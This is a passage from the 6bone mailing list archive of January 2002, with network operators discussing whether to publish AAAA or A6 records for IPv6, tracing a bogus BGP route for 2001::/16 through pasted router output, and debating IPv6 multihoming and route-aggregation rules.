(193.113.58.80)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Origin=20
incomplete, localpref 100, valid, external, best</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Matteo</FONT></DIV></BODY></HTML>

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From 6bone-owner  Fri Jan 18 12:48:31 2002
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From: Helios de Creisquer <helios@balios.org>
To: 6bone <6bone@ISI.EDU>
Subject: Re: AAAA, A6, or both?
Message-ID: <20020118204657.GC6216@balios.org>
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On Fri, Jan 18, 2002 at 05:25:18PM +0100, Michael Kjorling wrote:
> we're only talking about one record *type*). So, my question is, which
> should I use: A6, AAAA, or both? I don't have many machines for the
> moment so the maintenance burden of the AAAA approach is pretty much
> nada, and I would like to be able to serve content over IPv6 to as
> many as possible.
> 
> Could anyone please advise me as to which approach I should take?
> Every time I read up on this I only get more confused.

Hi !

Seems to me the A6 records obsoleted the AAAA records... but I would use
both cause of resolvers... it seems that some versions around  here  ask
only for AAAA and not A6...

Cheers,
-- 
               Helios de Creisquer      <helios@balios.org>
http://www.tuxfamily.org/                        <creis@tuxfamily.org>
http://www.vhffs.org/      +33 (0)6 70 71 20 29      <creis@vhffs.org>
http://www.gnu.org/                                    <creis@gnu.org>
GPG(1024D/96EB1C44): FB11 8B80 4D86 D9C2 DE0C 11D7 2FA8 A5CC 96EB 1C44

From 6bone-owner  Fri Jan 18 13:01:46 2002
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Date: Fri, 18 Jan 2002 20:54:50 +0000
From: Russell King <rmk@arm.linux.org.uk>
To: Jan Oravec <wsx@wsx6.net>
Cc: Ronald van der Pol <Ronald.vanderPol@rvdp.org>, 6bone@ISI.EDU
Subject: Re: bogus route: 2001::/16
Message-ID: <20020118205450.E2059@flint.arm.linux.org.uk>
References: <13552.1011234739@itojun.org> <20020118073855.GB604@rvdp.org> <20020118180623.A77987@ipv6.isternet.sk>
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On Fri, Jan 18, 2002 at 06:06:23PM +0100, Jan Oravec wrote:
> SKBYS-0000> sh bgp 2001::/16
> BGP routing table entry for 2001::/16
> Paths: (3 available, best #2, table Default-IP-Routing-Table)
>   Advertised to non peer-group peers:
>   2001:658:0:1::1 3ffe:80e8:1:3::2 3ffe:80ef:1:: 3ffe:80ef:100:: 3ffe:80ef:800:: 3ffe:80ef:900::
>   5594 2200 2611 6774 4589 680 1275 762 6175 6435 109 1251 3265 7521 7521 7521 7521 4697 3425 293 4554 8954 10566 5408 2549 3274 1103, (Received from a RR-client)
>     3ffe:80e1:8000:10::2 from 3ffe:80ef:1:: (195.168.1.69)
>       Origin incomplete, localpref 100, valid, internal
>       Last update: Fri Jan 18 13:35:32 2002
> 
>   6830 8733 2611 6774 4589 680 1275 762 6175 6435 109 1251 3265 7521 7521 7521 7521 4697 3425 293 4554 8954 10566 5408 2549 3274 1103, (Received from a RR-client)
>     2001:730:3::1:e from 3ffe:80ef:300:: (62.140.29.9)
>       Origin incomplete, localpref 100, valid, internal, best
>       Last update: Fri Jan 18 12:59:03 2002
> 
>   6830 8733 2611 6774 4589 680 1275 762 6175 6435 109 1251 3265 7521 7521 7521 7521 4697 3425 293 4554 8954 10566 5408 2549 3274 1103, (Received from a RR-client)
>     2001:730:3::1:e from 3ffe:80ef:900:: (62.140.29.9)
>       Origin incomplete, localpref 100, valid, internal
>       Originator: 62.140.29.9, Cluster list: 62.89.127.130 
>       Last update: Fri Jan 18 12:59:00 2002

My path for 2001::/16 is:

me:  45328 8277 8379 4589 6774 8733 6830 6726 1275 762 6175 6435 109 1251 3265 7521 7521 7521 7521 4697 3425 293 4554 8954 10566 5408 2549 3274 1103
you:       6830 8733 2611 6774    4589 680    1275 ... etc ...

Here's a couple of other AS paths for 2001::/16:

       6939 5609 6830 8733 2611 6774 4589 680 1275 ... etc ...
           8277 8379 4589 6774 8733 6830 6726 1275 ... etc ...

Everything from AS1275 to AS1103 is identical in each case.  Hope this
helps.

-- 
Russell King (rmk@arm.linux.org.uk)                The developer of ARM Linux
             http://www.arm.linux.org.uk/personal/aboutme.html


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From: Michael Kjorling <michael@kjorling.com>
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Hash: SHA1

On Jan 18 2002 20:09 +0100, Pim van Pelt wrote:

> | First of all, if this is off topic for this list I apologize in
> | advance and do not want anyone to feel obligated to read this.
> It's on topic, and perhaps more than you'd think.

Well then, at least I don't get flamed... :-)


> | Could anyone please advise me as to which approach I should take?
> | Every time I read up on this I only get more confused.
> You should use AAAA and disregard anything you ever read about A6.
>
> groet,
> Pim

OK - I have received three other e-mails where various people suggest
using both AAAA and A6 in order to support the maximum number of
clients, and one of them pointing out as well that A6 chaining can be
disabled by using a prefix length value of 0. And I really cannot see
how it can hurt to use both.

This brings up another matter, though - reverse lookups. ip6.arpa or
ip6.int, bitlabels (like \[x3FFE/16]) or nibble
(e.f.f.e.ip6.[arpa|int]) form? Both ip6.arpa and ip6.int are delegated
off the root servers.

Any input is much appreciated, as I am still very new to IPv6 (though
fairly familiar with IPv4).


Michael Kjörling

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e

"There is something to be said about not trying to be glamorous
and popular and cool. Just be real -- and life will be real."
(Joyce Sequichie Hifler, September 13 2001, www.hifler.com)
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From 6bone-owner  Fri Jan 18 14:18:38 2002
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Date: Fri, 18 Jan 2002 17:19:27 -0500 (EST)
From: John Klos <john@sixgirls.org>
To: Pim van Pelt <pim@ipng.nl>
cc: 6bone <6bone@ISI.EDU>
Subject: Re: AAAA, A6, or both?
In-Reply-To: <20020118190926.GB15477@bfib.colo.bit.nl>
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> | Could anyone please advise me as to which approach I should take?
> | Every time I read up on this I only get more confused.

> You should use AAAA and disregard anything you ever read about A6.

AAAA is depricated but still supported. If you fear that you might have
systems that can't do RFC 2874 type A6 chains, BIND 9 has an option that
allows RFC 1886 lookups to be done on A6 chains.

I'd love to know what, if any, resolvers can do 1886 lookups but not 2874.
Does anyone know?

I am interested to know why you dismiss A6 out of hand with no
information. Have you come across RFC 1886-only resolvers?

John Klos
Sixgirls Computing Labs


From 6bone-owner  Fri Jan 18 15:15:45 2002
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From: Antonio Querubin <tony@lava.net>
To: John Klos <john@sixgirls.org>
cc: Pim van Pelt <pim@ipng.nl>, 6bone <6bone@ISI.EDU>
Subject: Re: AAAA, A6, or both?
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On Fri, 18 Jan 2002, John Klos wrote:

> > | Could anyone please advise me as to which approach I should take?
> > | Every time I read up on this I only get more confused.
>
> > You should use AAAA and disregard anything you ever read about A6.
>
> AAAA is depricated but still supported. If you fear that you might have
> systems that can't do RFC 2874 type A6 chains, BIND 9 has an option that
> allows RFC 1886 lookups to be done on A6 chains.
>
> I'd love to know what, if any, resolvers can do 1886 lookups but not 2874.
> Does anyone know?
>
> I am interested to know why you dismiss A6 out of hand with no
> information. Have you come across RFC 1886-only resolvers?

Very few service providers have upgraded their production DNS to handle A6
so I suspect the vast majority of DNS currently in operation will still
barf on A6 RRs.  If I recall correctly, BIND 8.x and earlier, for example,
will reject an entire zone if it sees RRs it doesn't understand, so it's
not likely you'll see A6 become widespread until BIND 9.x is more widely
deployed on DNS operating as secondary nameservers.




From 6bone-owner  Fri Jan 18 15:19:17 2002
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From: Paul Jakma <paul@clubi.ie>
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hi,

there has been some discussion in the past on this about how
multi-homing is to work for ipv6 sites. as i understand it, there
will be no equivalent of IPv4 'Provider Independent' address ranges
with IPv6. Sites will only be able to get addresses from their ISPs 
TLA.

my question is then, if the above is the case, how are IPv6 sites
supposed to achieve ingress resiliency? are we to rely on all IPv6
clients implementing SRV lookups?

thanks in advance,

regards,
-- 
Paul Jakma	paul@clubi.ie	paul@jakma.org	Key ID: 64A2FF6A
Fortune:
"Consider a spherical bear, in simple harmonic motion..."
		-- Professor in the UCB physics department




From 6bone-owner  Fri Jan 18 16:43:37 2002
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From: "William F. Maton" <wmaton@ryouko.dgim.crc.ca>
Reply-To: wmaton@ryouko.dgim.crc.ca
To: Paul Jakma <paul@clubi.ie>
cc: 6Bone <6bone@ISI.EDU>
Subject: Re: ipv6 multihoming for non-TLA eligible sites
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On Fri, 18 Jan 2002, Paul Jakma wrote:

> there has been some discussion in the past on this about how
> multi-homing is to work for ipv6 sites. as i understand it, there
> will be no equivalent of IPv4 'Provider Independent' address ranges
> with IPv6. Sites will only be able to get addresses from their ISPs
> TLA.
>
> my question is then, if the above is the case, how are IPv6 sites
> supposed to achieve ingress resiliency? are we to rely on all IPv6
> clients implementing SRV lookups?

While this doesn't answer your question completely, you may want to have a
look at the IETF multi6 working group, stuck just for this type of
discussion:

	http://www.ietf.org/html.charters/multi6-charter.html

wfms


From 6bone-owner  Fri Jan 18 18:32:22 2002
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Subject: RE: ipv6 multihoming for non-TLA eligible sites
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
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Paul,

This would be better discussed in the IETF multi6 mailing list.
http://www.ietf.org/html.charters/multi6-charter.html

> Paul Jakma wrote:
> as i understand it, there will be no equivalent of IPv4 'Provider
> Independent' address ranges with IPv6. Sites will only be able to
> get addresses from their ISPs TLA.

Although it is too early to tell (the requirements are being
finished these days) there are at least three individual drafts
that have PI addresses:

http://search.ietf.org/internet-drafts/draft-py-multi6-mhtp-01.txt
http://search.ietf.org/internet-drafts/draft-hain-ipv6-pi-addr-01.txt
http://search.ietf.org/internet-drafts/draft-hain-ipv6-pi-addr-use-01.txt

Michel.


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To: Jan Oravec <wsx@wsx6.net>
Cc: Ronald van der Pol <Ronald.vanderPol@rvdp.org>, 6bone@ISI.EDU
Subject: Re: bogus route: 2001::/16
In-Reply-To: <20020118180623.A77987@ipv6.isternet.sk>
References: <13552.1011234739@itojun.org>
	<20020118073855.GB604@rvdp.org>
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At Fri, 18 Jan 2002 18:06:23 +0100,
Jan Oravec wrote:
> 
> We see 2001::/16, someone has buggy BGP implementation which creates such
> "long paths", we can see a lot of them.
> 
> SKBYS-0000> sh bgp 2001::/16
> BGP routing table entry for 2001::/16
> Paths: (3 available, best #2, table Default-IP-Routing-Table)
>   Advertised to non peer-group peers:
>   2001:658:0:1::1 3ffe:80e8:1:3::2 3ffe:80ef:1:: 3ffe:80ef:100:: 3ffe:80ef:800:: 3ffe:80ef:900::
>   5594 2200 2611 6774 4589 680 1275 762 6175 6435 109 1251 3265 7521 7521 7521 7521 4697 3425 293 4554 8954 10566 5408 2549 3274 1103, (Received from a RR-client)
>     3ffe:80e1:8000:10::2 from 3ffe:80ef:1:: (195.168.1.69)
>       Origin incomplete, localpref 100, valid, internal
>       Last update: Fri Jan 18 13:35:32 2002
> 
>   6830 8733 2611 6774 4589 680 1275 762 6175 6435 109 1251 3265 7521 7521 7521 7521 4697 3425 293 4554 8954 10566 5408 2549 3274 1103, (Received from a RR-client)
>     2001:730:3::1:e from 3ffe:80ef:300:: (62.140.29.9)
>       Origin incomplete, localpref 100, valid, internal, best
>       Last update: Fri Jan 18 12:59:03 2002
> 
>   6830 8733 2611 6774 4589 680 1275 762 6175 6435 109 1251 3265 7521 7521 7521 7521 4697 3425 293 4554 8954 10566 5408 2549 3274 1103, (Received from a RR-client)
>     2001:730:3::1:e from 3ffe:80ef:900:: (62.140.29.9)
>       Origin incomplete, localpref 100, valid, internal
>       Originator: 62.140.29.9, Cluster list: 62.89.127.130 
>       Last update: Fri Jan 18 12:59:00 2002
> 
> These announcements of these long paths are stable (actually 4 hours up).

It looks stable but....

I'm in as7521 but I do not aspath-prepend now.
I stopped aspath-prepend 2 days ago. (> 4hours)

Someone holds old incorrect bgp table and keep it.

-- 
ishii @ mfeed.ad.jp

From 6bone-owner  Fri Jan 18 19:11:21 2002
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From: "Jorgensen, Roger" <RJorgensen@CHELLO.com>
To: "'Russell King'" <rmk@arm.linux.org.uk>, Jan Oravec <wsx@wsx6.net>
Cc: Ronald van der Pol <Ronald.vanderPol@rvdp.org>, 6bone@ISI.EDU,
        "Van Steen, Steven" <SVanSteen@CHELLO.com>
Subject: RE: bogus route: 2001::/16
Date: Sat, 19 Jan 2002 04:09:46 +0100
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Hi,

First some aspath seen from us (6830 and 8733)

nl-ams-re-02#show bgp ipv6 2001::/16
BGP routing table entry for 2001::/16, version 81675
Paths: (3 available, best #3)
  Advertised to non peer-group peers:
  2001:730::1:3 2001:730::1:7 2001:730::1:9 2001:730::1:F 2001:730::1:19
  2001:730::1:21 2001:730::1:23 2001:730::1:29
2001:730:0:2:2D0:B7FF:FE3E:AAE2
  2001:740:0:102::1:0 3FFE:2000:0:40F::22F 3FFE:2501:100::21
3FFE:2900:1:5::1
  3FFE:8270:0:1::52 3FFE:8271:201:2037::1 3FFE:82E2:0:101::1
  15589 513 2200 2611 6774 4589 680 1275 762 6175 6435 109 1251 3265 7521
7521 7521 7521 4697 3425 293 4554 8954 10566 5408 2549 3274 1103,
(received & used)
    2001:730::1:F from 2001:730::1:F (192.168.1.12)
      Origin incomplete, localpref 100, valid, external
  20834 513 2200 2611 6774 4589 680 1275 762 6175 6435 109 1251 3265 7521
  7521 7521 7521 4697 3425 293 4554 8954 10566 5408 2549 3274 1103,
  (received & used)
    3FFE:8270:0:1::52 from 3FFE:8270:0:1::52 (80.71.0.50)
      Origin incomplete, localpref 100, valid, external
  8733 2611 6774 4589 680 1275 762 6175 6435 109 1251 3265 7521 7521 7521
  7521 4697 3425 293 4554 8954 10566 5408 2549 3274 1103, (received & used)
    2001:730::1:5 from 2001:730::1:5 (195.162.197.71)
      Origin incomplete, localpref 100, valid, external, best

That's what I see from 6830, from 8733 (also us)

be-bru-re-01>show bgp ipv6 2001::/16
BGP routing table entry for 2001::/16, version 271023
Paths: (1 available, best #1)
  Advertised to non peer-group peers:
  2001:730::1:4 3FFE:2501:100::1F
  2611 6774 4589 680 1275 762 6175 6435 109 1251 3265 7521 7521 7521 7521
  4697 3425 293 4554 8954 10566 5408 2549 3274 1103, (received & used)
    3FFE:80B0:1000:0:260:8FF:FE69:8E7E from 3FFE:2501:100::13
(195.162.197.69)
      Origin incomplete, localpref 100, valid, internal, best


Something else that might be related to this, I've noticed long and often
broken ASPATH several times (used ASPATH www2.ipv6.chello.com/bgp-stats that

show a few of them) and they are almost always coming from Belgium (through
8733 for us).

I can't explain where or why or anything more than the people before me has 
done, just wanted to show what we see since many seems to get 2001::/16 
through us. Will have a look at 8733 to make sure there isn't anything there

that cause problems.



---
Roger Jorgensen (rjorgensen@chello.com)
System Engineer @ engineering chello Broadband
handles: ROJO1-6BONE ROJO9-RIPE RJC10-NORID


> -----Original Message-----
> From: Russell King [mailto:rmk@arm.linux.org.uk]
> Sent: Friday, January 18, 2002 9:55 PM
> To: Jan Oravec
> Cc: Ronald van der Pol; 6bone@ISI.EDU
> Subject: Re: bogus route: 2001::/16
> 
> 
> On Fri, Jan 18, 2002 at 06:06:23PM +0100, Jan Oravec wrote:
> > SKBYS-0000> sh bgp 2001::/16
> > BGP routing table entry for 2001::/16
> > Paths: (3 available, best #2, table Default-IP-Routing-Table)
> >   Advertised to non peer-group peers:
> >   2001:658:0:1::1 3ffe:80e8:1:3::2 3ffe:80ef:1:: 
> 3ffe:80ef:100:: 3ffe:80ef:800:: 3ffe:80ef:900::
> >   5594 2200 2611 6774 4589 680 1275 762 6175 6435 109 1251 
> 3265 7521 7521 7521 7521 4697 3425 293 4554 8954 10566 5408 
> 2549 3274 1103, (Received from a RR-client)
> >     3ffe:80e1:8000:10::2 from 3ffe:80ef:1:: (195.168.1.69)
> >       Origin incomplete, localpref 100, valid, internal
> >       Last update: Fri Jan 18 13:35:32 2002
> > 
> >   6830 8733 2611 6774 4589 680 1275 762 6175 6435 109 1251 
> 3265 7521 7521 7521 7521 4697 3425 293 4554 8954 10566 5408 
> 2549 3274 1103, (Received from a RR-client)
> >     2001:730:3::1:e from 3ffe:80ef:300:: (62.140.29.9)
> >       Origin incomplete, localpref 100, valid, internal, best
> >       Last update: Fri Jan 18 12:59:03 2002
> > 
> >   6830 8733 2611 6774 4589 680 1275 762 6175 6435 109 1251 
> 3265 7521 7521 7521 7521 4697 3425 293 4554 8954 10566 5408 
> 2549 3274 1103, (Received from a RR-client)
> >     2001:730:3::1:e from 3ffe:80ef:900:: (62.140.29.9)
> >       Origin incomplete, localpref 100, valid, internal
> >       Originator: 62.140.29.9, Cluster list: 62.89.127.130 
> >       Last update: Fri Jan 18 12:59:00 2002
> 
> My path for 2001::/16 is:
> 
> me:  45328 8277 8379 4589 6774 8733 6830 6726 1275 762 6175 
> 6435 109 1251 3265 7521 7521 7521 7521 4697 3425 293 4554 
> 8954 10566 5408 2549 3274 1103
> you:       6830 8733 2611 6774    4589 680    1275 ... etc ...
> 
> Here's a couple of other AS paths for 2001::/16:
> 
>        6939 5609 6830 8733 2611 6774 4589 680 1275 ... etc ...
>            8277 8379 4589 6774 8733 6830 6726 1275 ... etc ...
> 
> Everything from AS1275 to AS1103 is identical in each case.  Hope this
> helps.
> 
> -- 
> Russell King (rmk@arm.linux.org.uk)                The 
> developer of ARM Linux
>              http://www.arm.linux.org.uk/personal/aboutme.html
> 

From 6bone-owner  Fri Jan 18 19:52:04 2002
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Date: Sat, 19 Jan 2002 04:43:16 +0100 (CET)
From: Christian Bahls <christian.bahls@stud.uni-rostock.de>
Subject: Re: [pim@ipng.nl: NetBSD kame - strange behavior] (fwd)
To: 6bone@ISI.EDU
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hope this will hit the list


---------- Forwarded message ----------
To: Pim van Pelt <pim@ipng.nl>
Subject: Re: [pim@ipng.nl: NetBSD kame - strange behavior]

this goes to 6bone(hopefully .. as i can't see any
of my previous postings regarding other topics on the list)

.. to become serious ..

hope you are familar with netstat

.. do "netstat -n -r -f inet6" (man netstat)
ignore everything that has an "R" in it (RTF_REJECT)
that are all the routes that are discarded by KAME-stack
 (good policy by itojun)

ok first one ..
fe80::%lo0/64      fe80::1%lo0        U           0        0  33220  lo0
fe80::%lo0 is routed through fe80::1%lo0 .. "Hint"
.. so next question is: what is lo0 supposed to do ?
   answer: discard packages after puting them onto the stack ..
           so every packet that gets routed to any link-lokal
           address scoped with %lo0 gets send back top your stack

.. so why can't i ping 127.0.0.2 ?, would be the next question
   answer: 127.0.0.0/8 is "REJECTED" via 127.0.0.1 which is on lo0
127                127.0.0.1          UGRS        0        2  33220  lo0
127.0.0.1          127.0.0.1          UH          6     1972  33220  lo0

.. more advanced question: why do i see my %gif0 scoped ping
                           being answered via lo0 ?
   answer: because the kernel has been told that this address is
           directly reachable by device lo0 ("U"sable+"H"ost)
fe80::201:2fe:fe10:1201%gif0       ::1      UH    0        0  33220  lo0


to make a long answer short ..
  it seems to be a policy question

and i do rather trust itojun (if it was him)
   on routing policy decisions

 christian bahls
 maths student

 university of rostock





From 6bone-owner  Fri Jan 18 21:56:40 2002
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From: Chuck Yerkes <chuck+6bone@snew.com>
To: Antonio Querubin <tony@lava.net>
Cc: 6bone <6bone@ISI.EDU>
Subject: Re: AAAA, A6, or both?
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References: <Pine.NEB.4.44.0201181710170.654-100000@reva.sixgirls.org> <Pine.BSI.4.44.0201181305250.4350-100000@malasada.lava.net>
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Quoting Antonio Querubin (tony@lava.net):
> On Fri, 18 Jan 2002, John Klos wrote:
> > I am interested to know why you dismiss A6 out of hand with no
> > information. Have you come across RFC 1886-only resolvers?
> 
> Very few service providers have upgraded their production DNS to handle A6
> so I suspect the vast majority of DNS currently in operation will still
> barf on A6 RRs.  If I recall correctly, BIND 8.x and earlier, for example,
> will reject an entire zone if it sees RRs it doesn't understand, so it's
> not likely you'll see A6 become widespread until BIND 9.x is more widely
> deployed on DNS operating as secondary nameservers.


BIND 8.3 will not barf on A6 records. Not sure that it knows
what to do with them, but it's supposed to now accept "unknown RRs".

This is handy when I have zones that are secondaried by BIND 8 people.

From 6bone-owner  Sat Jan 19 02:54:34 2002
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Hash: SHA1

This is not quite true. At least BIND 8.3.0 on NT will happily serve a
zone with both AAAA (obviously) and A6 RRs (though 8.2.5 won't).
However, I have no idea if it will follow A6 chains during resolution.
But at least this shows that BIND 9 is not mandatory if you want to
support A6 RRs in the DNS.

Then I'd consider it a bigger problem that *none* of the root servers
support IPv6 records, IPv6 transport, or publishes DNSSEC records.

But this is just my two cents for the moment.


Michael Kjörling


On Jan 18 2002 13:16 -1000, Antonio Querubin wrote:

> Very few service providers have upgraded their production DNS to handle A6
> so I suspect the vast majority of DNS currently in operation will still
> barf on A6 RRs.  If I recall correctly, BIND 8.x and earlier, for example,
> will reject an entire zone if it sees RRs it doesn't understand, so it's
> not likely you'll see A6 become widespread until BIND 9.x is more widely
> deployed on DNS operating as secondary nameservers.

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
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"There is something to be said about not trying to be glamorous
and popular and cool. Just be real -- and life will be real."
(Joyce Sequichie Hifler, September 13 2001, www.hifler.com)

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From 6bone-owner  Sat Jan 19 03:31:14 2002
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From: Jan Oravec <wsx@wsx6.net>
To: "Van Steen, Steven" <SVanSteen@CHELLO.com>
Cc: 6bone@ISI.EDU
Subject: Re: bogus route: 2001::/16
Message-ID: <20020119123207.A77268@ipv6.isternet.sk>
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Hello,

> Okay I will filter those /16 out for now - not sure if that's the right
> thing to do though.
> 
that's not a solution, the solution is to find who creates that..

I would suggest if 5594, 2200 and 2611 show their routes for 2001::/16.


-- 
Jan Oravec
project coordinator
XS26 - 'Access to IPv6'  
jan.oravec@xs26.net

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This mail is originally by Robert Blechinger, a co-worker at Cybernet.
His mails don't appear on the 6bone mailing list for unknown reasons, so
I'm forwarding it to the list.

----- Forwarded message from Robert Blechinger <rblechinger@cybernet-ag.net> -----

Date: Fri, 18 Jan 2002 16:14:02 +0100
From: Robert Blechinger <rblechinger@cybernet-ag.net>
To: 6bone@isi.edu
Subject: Announicing more specific routes
User-Agent: Mutt/1.3.25i

Hi all,

i would like to ask all members of 6BONE and RIR to follow the rules written
in RFC 2772, regarding the announcement of more specific routes.

some days before i had about 350 different prefixes in my routingtable and
about 150 of them were more specific ones. that was about 43%  

then i wrote to some pTLAs which anounced a lot of /64's and /48's from their
own delegated assignment.

but i don't want to write everybody mails rearding to this. there are
also many SLA's and NLA's which announcing their more specific prefixes  
to everybody. Furthermore, some of them using private ASN to announce
their prefixes to everybody and the partners (pTLA's) didn't filter out them.

I think everybody will agree with me that we don't want to blow the 
global ipv6 routingtable as it is already in the ipv4 one.

Visit http://sarah-hst.muc.eurocyber.net/  --> IPv6 AS-Path-Tree for the
current status.

<------------------------------------------------------------------------->

[RFC 2772]

4. Routing Policies for the 6bone
...
   All 6bone pTLAs MUST NOT advertise prefixes longer than a given pTLA
   delegation (currently /24 or /28) to other 6bone pTLAs unless special
   peering arrangements are implemented. When such special peering
   aggreements are in place between any two or more 6bone pTLAs, care
   MUST be taken not to leak the more specifics to other 6bone pTLAs not
   participating in the peering aggreement. 
...

<------------------------------------------------------------------------->

Kindly Regards Robert

-- 

   Blechinger Robert

Cybernet AG - Networking
email: rblechinger@cybernet-ag.net
Phone: +49 89 99315 - 116
Fax:   +49 89 99315 - 199

  Love is just a kiss away...

----- End forwarded message -----

-- 
   bye bye
     Bernhard

From 6bone-owner  Sat Jan 19 12:20:58 2002
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Date: Sat, 19 Jan 2002 10:21:54 -1000 (HST)
From: Antonio Querubin <tony@lava.net>
To: Chuck Yerkes <chuck+6bone@snew.com>
cc: 6bone <6bone@ISI.EDU>
Subject: Re: AAAA, A6, or both?
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On Fri, 18 Jan 2002, Chuck Yerkes wrote:

> Quoting Antonio Querubin (tony@lava.net):
> > On Fri, 18 Jan 2002, John Klos wrote:
> > > I am interested to know why you dismiss A6 out of hand with no
> > > information. Have you come across RFC 1886-only resolvers?
> >
> > Very few service providers have upgraded their production DNS to handle A6
> > so I suspect the vast majority of DNS currently in operation will still
> > barf on A6 RRs.  If I recall correctly, BIND 8.x and earlier, for example,
> > will reject an entire zone if it sees RRs it doesn't understand, so it's
> > not likely you'll see A6 become widespread until BIND 9.x is more widely
> > deployed on DNS operating as secondary nameservers.
>
>
> BIND 8.3 will not barf on A6 records. Not sure that it knows
> what to do with them, but it's supposed to now accept "unknown RRs".
>
> This is handy when I have zones that are secondaried by BIND 8 people.

That's good to know but the idea is that there are still many DNS running
pre-8.3 and pre-9.x BIND versions which will reject the entire zone if
they detect unknown RRs.  Until we see more DNS upgraded to recent
software versions there'll continue to exist a natural tendency to avoid
the use of A6 RRs in zone files.  That competes with the "if it aint broke
don't fix it" reluctance to upgrade software.  And then there are those
operators that never bother applying upgrades or patches and we all know
those are few in number ... NOT!


From 6bone-owner  Sat Jan 19 14:38:36 2002
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	Sun, 20 Jan 2002 00:37:03 +0200
Date: Sun, 20 Jan 2002 00:37:02 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: Antonio Querubin <tony@lava.net>
cc: Chuck Yerkes <chuck+6bone@snew.com>, 6bone <6bone@ISI.EDU>
Subject: Re: AAAA, A6, or both?
In-Reply-To: <Pine.BSI.4.44.0201191015390.5949-100000@malasada.lava.net>
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Hi,

I'll just point out the best advice so far, by Pim:

"You should use AAAA and disregard anything you ever read about A6."


For more information, see:

http://www.ietf.org/internet-drafts/draft-ietf-dnsext-ipv6-addresses-00.txt

or minutes from Dnsext/ngtrans joing meeting in IETF51 in London.


On Sat, 19 Jan 2002, Antonio Querubin wrote:
> On Fri, 18 Jan 2002, Chuck Yerkes wrote:
> 
> > Quoting Antonio Querubin (tony@lava.net):
> > > On Fri, 18 Jan 2002, John Klos wrote:
> > > > I am interested to know why you dismiss A6 out of hand with no
> > > > information. Have you come across RFC 1886-only resolvers?
> > >
> > > Very few service providers have upgraded their production DNS to handle A6
> > > so I suspect the vast majority of DNS currently in operation will still
> > > barf on A6 RRs.  If I recall correctly, BIND 8.x and earlier, for example,
> > > will reject an entire zone if it sees RRs it doesn't understand, so it's
> > > not likely you'll see A6 become widespread until BIND 9.x is more widely
> > > deployed on DNS operating as secondary nameservers.
> >
> >
> > BIND 8.3 will not barf on A6 records. Not sure that it knows
> > what to do with them, but it's supposed to now accept "unknown RRs".
> >
> > This is handy when I have zones that are secondaried by BIND 8 people.
> 
> That's good to know but the idea is that there are still many DNS running
> pre-8.3 and pre-9.x BIND versions which will reject the entire zone if
> they detect unknown RRs.  Until we see more DNS upgraded to recent
> software versions there'll continue to exist a natural tendency to avoid
> the use of A6 RRs in zone files.  That competes with the "if it aint broke
> don't fix it" reluctance to upgrade software.  And then there are those
> operators that never bother applying upgrades or patches and we all know
> those are few in number ... NOT!
> 

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Sat Jan 19 15:08:15 2002
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Date: Sun, 20 Jan 2002 00:09:56 +0100 (CET)
From: Michael Kjorling <michael@kjorling.com>
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Well, there certainly is a valid point in that all too few upgrade
their software, even when major security holes become known (I still
see a DNS server every once in a while that is running versions of
BIND that are vulnerable to exploits that have been fixed long ago -
see http://www.isc.org/products/BIND/bind-security.html). But as long
as you can ensure that your slave DNS servers won't barf at the zone
(and hopefully you have some kind of relation with the people running
it, if you're not running it yourself), you will be OK. It's a major
difference between a name server not *asking* for a specific record
type, and the same server rejecting zones that contain records of said
type - A6, in this case.  It could just as well have been some other
type, perhaps completely unrelated to IPv6. (Remember MH, MD? LOC?)

It seems that my seemingly fairly simple question has sparked a major
debate - and I believe some of it good. I asked if I should use AAAA,
A6, or both for IPv6 forward mapping. A lot of people suggested both.
As long as one's secondaries can handle that, I see no problem with
such an approach and it does allow you to support the greatest number
of clients. As one person pointed out, it's possible to use A6 records
in a kind of "AAAA emulation mode" by setting the prefix length to 0
(e.g. 'foo.bar.com. A6 0 dead:beef::c0:ffee')

Here's another question that might spark an even bigger controversy:
reverse lookups. Obviously one will use PTR records, but where in the
DNS tree? Say, for example, that I have the IPv6 address space
3ffe:dead:beef::/48. What reverse zone(s) do I need to set up and get
delegated from my upstream/tunnel provider in order to make it work
properly?


Michael Kjörling


On Jan 19 2002 10:21 -1000, Antonio Querubin wrote:

> > BIND 8.3 will not barf on A6 records. Not sure that it knows
> > what to do with them, but it's supposed to now accept "unknown RRs".
> >
> > This is handy when I have zones that are secondaried by BIND 8 people.
>
> That's good to know but the idea is that there are still many DNS running
> pre-8.3 and pre-9.x BIND versions which will reject the entire zone if
> they detect unknown RRs.  Until we see more DNS upgraded to recent
> software versions there'll continue to exist a natural tendency to avoid
> the use of A6 RRs in zone files.  That competes with the "if it aint broke
> don't fix it" reluctance to upgrade software.  And then there are those
> operators that never bother applying upgrades or patches and we all know
> those are few in number ... NOT!

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
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Interesting. Thank you for the pointer, Pekka.


Michael Kjörling


On Jan 20 2002 00:37 +0200, Pekka Savola wrote:

> Hi,
>
> I'll just point out the best advice so far, by Pim:
>
> "You should use AAAA and disregard anything you ever read about A6."
>
>
> For more information, see:
>
> http://www.ietf.org/internet-drafts/draft-ietf-dnsext-ipv6-addresses-00.txt
>
> or minutes from Dnsext/ngtrans joing meeting in IETF51 in London.

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e

"There is something to be said about not trying to be glamorous
and popular and cool. Just be real -- and life will be real."
(Joyce Sequichie Hifler, September 13 2001, www.hifler.com)

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From 6bone-owner  Sun Jan 20 05:27:39 2002
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Date: Sun, 20 Jan 2002 08:28:31 -0500 (EST)
From: "William F. Maton" <wmaton@ryouko.dgim.crc.ca>
Reply-To: wmaton@ryouko.dgim.crc.ca
